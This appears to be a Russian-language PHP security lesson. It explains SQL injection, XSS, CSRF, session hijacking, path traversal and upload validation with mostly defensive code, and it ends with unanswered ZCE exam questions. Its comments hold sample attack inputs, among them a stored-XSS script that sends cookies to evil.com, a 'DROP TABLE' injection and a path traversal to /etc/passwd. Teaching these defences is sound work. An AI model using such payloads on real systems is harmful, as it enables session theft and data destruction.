MidТеория4 min

Векторы атак

XSS, CSRF, SQL injection, session hijacking, path traversal

Векторы атак и защита

SQL Injection

<?php
declare(strict_types=1);

// VULNERABLE CODE — NEVER DO THIS!
// $query = "SELECT * FROM users WHERE email = '{$_GET['email']}'";
// Input: ' OR '1'='1
// Result: SELECT * FROM users WHERE email = '' OR '1'='1'
// Returns ALL users!

// PROTECTION: Prepared statements
$stmt = $pdo->prepare('SELECT * FROM users WHERE email = :email');
$stmt->execute(['email' => $_GET['email']]);

// Also vulnerable — string concatenation
// $query = "SELECT * FROM users ORDER BY " . $_GET['sort'];
// Input: name; DROP TABLE users; --

// Protection for identifiers (cannot be parameterized)
$allowed = ['name', 'email', 'created_at'];
$sort = in_array($_GET['sort'] ?? '', $allowed, true)
    ? $_GET['sort']
    : 'created_at';
$stmt = $pdo->query("SELECT * FROM users ORDER BY {$sort}");

Запомни: Prepared statements — ЕДИНСТВЕННАЯ надёжная защита от SQL injection. Имена таблиц и столбцов нельзя параметризовать — используйте белый список. mysql_real_escape_string() — устаревшее решение, не используйте.

XSS (Cross-Site Scripting)

Stored XSS

<?php
declare(strict_types=1);

// User saves malicious content to database
$comment = $_POST['comment'];
// If comment = '<script>document.location="http://evil.com/steal?c="+document.cookie</script>'

// VULNERABLE: output without escaping
// echo $comment;  // Script executes in victim's browser!

// PROTECTION: always escape output
echo htmlspecialchars($comment, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');

Reflected XSS

<?php
declare(strict_types=1);

// URL: page.php?search=<script>alert('xss')</script>

// VULNERABLE:
// echo "Results for: {$_GET['search']}";

// PROTECTED:
echo 'Results for: ' . htmlspecialchars($_GET['search'] ?? '', ENT_QUOTES, 'UTF-8');

Контексты экранирования

<?php
declare(strict_types=1);

$userInput = $_GET['data'] ?? '';

// HTML context — htmlspecialchars
echo '<p>' . htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8') . '</p>';

// HTML attribute — htmlspecialchars
echo '<input value="' . htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8') . '">';

// JavaScript context — json_encode
echo '<script>var data = ' . json_encode($userInput, JSON_HEX_TAG | JSON_HEX_APOS) . ';</script>';

// URL context — urlencode
echo '<a href="/search?q=' . urlencode($userInput) . '">Search</a>';

// CSS context — escape special characters
// Avoid putting user input in CSS

CSRF (Cross-Site Request Forgery)

<?php
declare(strict_types=1);

// CSRF token generation and validation
session_start();

// Generate token
function generateCsrfToken(): string
{
    $token = bin2hex(random_bytes(32));
    $_SESSION['csrf_token'] = $token;
    return $token;
}

// Validate token
function validateCsrfToken(string $token): bool
{
    return isset($_SESSION['csrf_token'])
        && hash_equals($_SESSION['csrf_token'], $token);
}
<!-- Include token in forms -->
<form method="POST" action="/delete-account">
    <input type="hidden" name="csrf_token" value="<?= htmlspecialchars(generateCsrfToken()) ?>">
    <button type="submit">Delete Account</button>
</form>
<?php
declare(strict_types=1);

// Validate on server
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $token = $_POST['csrf_token'] ?? '';
    if (!validateCsrfToken($token)) {
        http_response_code(403);
        exit('Invalid CSRF token');
    }
    // Process form
}

Запомни: CSRF защита обязательна для всех форм, изменяющих данные (POST/PUT/DELETE). Токен должен быть уникальным для сессии, храниться на сервере и проверяться при каждом запросе. Используйте hash_equals() для сравнения (timing-safe).

Session Hijacking

<?php
declare(strict_types=1);

// Secure session configuration
ini_set('session.cookie_httponly', '1');     // No JS access to cookie
ini_set('session.cookie_secure', '1');      // HTTPS only
ini_set('session.cookie_samesite', 'Lax');  // CSRF protection
ini_set('session.use_strict_mode', '1');    // Reject uninitialized IDs
ini_set('session.use_only_cookies', '1');   // No session ID in URL

session_start();

// Regenerate session ID after login
function secureLogin(string $email, string $password): bool
{
    $user = findUserByEmail($email);
    if ($user && password_verify($password, $user['password_hash'])) {
        session_regenerate_id(true);  // Destroy old session
        $_SESSION['user_id'] = $user['id'];
        $_SESSION['ip'] = $_SERVER['REMOTE_ADDR'];
        $_SESSION['user_agent'] = $_SERVER['HTTP_USER_AGENT'];
        return true;
    }
    return false;
}

// Validate session on each request
function validateSession(): bool
{
    if (!isset($_SESSION['user_id'])) {
        return false;
    }
    // Check if IP or user agent changed (possible hijacking)
    if ($_SESSION['ip'] !== $_SERVER['REMOTE_ADDR']) {
        session_destroy();
        return false;
    }
    return true;
}

Path Traversal

<?php
declare(strict_types=1);

// VULNERABLE — path traversal
// $file = $_GET['page'];  // Input: ../../etc/passwd
// include "/var/www/pages/{$file}.php";  // Includes /etc/passwd!

// PROTECTION
$allowedPages = ['home', 'about', 'contact'];
$page = $_GET['page'] ?? 'home';

if (!in_array($page, $allowedPages, true)) {
    $page = 'home';
}
include "/var/www/pages/{$page}.php";

// Alternative: validate with realpath
$basePath = '/var/www/uploads/';
$requestedFile = $basePath . $_GET['file'];
$realPath = realpath($requestedFile);

if ($realPath === false || !str_starts_with($realPath, $basePath)) {
    http_response_code(403);
    exit('Access denied');
}
// Safe to use $realPath

File Upload Security

<?php
declare(strict_types=1);

$allowedTypes = ['image/jpeg', 'image/png', 'image/gif'];
$maxSize = 5 * 1024 * 1024;  // 5MB

if ($_FILES['upload']['error'] !== UPLOAD_ERR_OK) {
    throw new RuntimeException('Upload failed');
}

// Validate MIME type (not just extension!)
$finfo = new finfo(FILEINFO_MIME_TYPE);
$mimeType = $finfo->file($_FILES['upload']['tmp_name']);

if (!in_array($mimeType, $allowedTypes, true)) {
    throw new RuntimeException('Invalid file type');
}

if ($_FILES['upload']['size'] > $maxSize) {
    throw new RuntimeException('File too large');
}

// Generate safe filename
$extension = match($mimeType) {
    'image/jpeg' => 'jpg',
    'image/png' => 'png',
    'image/gif' => 'gif',
};
$filename = bin2hex(random_bytes(16)) . '.' . $extension;

// Move to upload directory (outside web root ideally)
move_uploaded_file($_FILES['upload']['tmp_name'], "/var/uploads/{$filename}");

Вопросы с экзамена ZCE

Проверь себя

5 из 26

Функция dl() используется для загрузки PHP-расширений на сервере во время выполнения. Однако вы хотите отключить её из-за проблем безопасности. Какие из следующих действий вы выполните?

Выберите все правильные варианты

Что используется для преобразования скалярного значения в строку, заключённую в одинарные кавычки, которая может безопасно использоваться как единственный аргумент команды оболочки?

При работе PHP в среде общего хостинга, в чём основная проблема безопасности данных сессий?

Какие из следующих функций можно использовать как контрмеру против атаки Shell Injection? Каждый правильный ответ является полным решением. Выберите все подходящие.

Выберите все правильные варианты

Какие из следующих директив можно использовать для повышения безопасности в среде общего хостинга? Каждый правильный ответ является полным решением. Выберите все подходящие.

Выберите все правильные варианты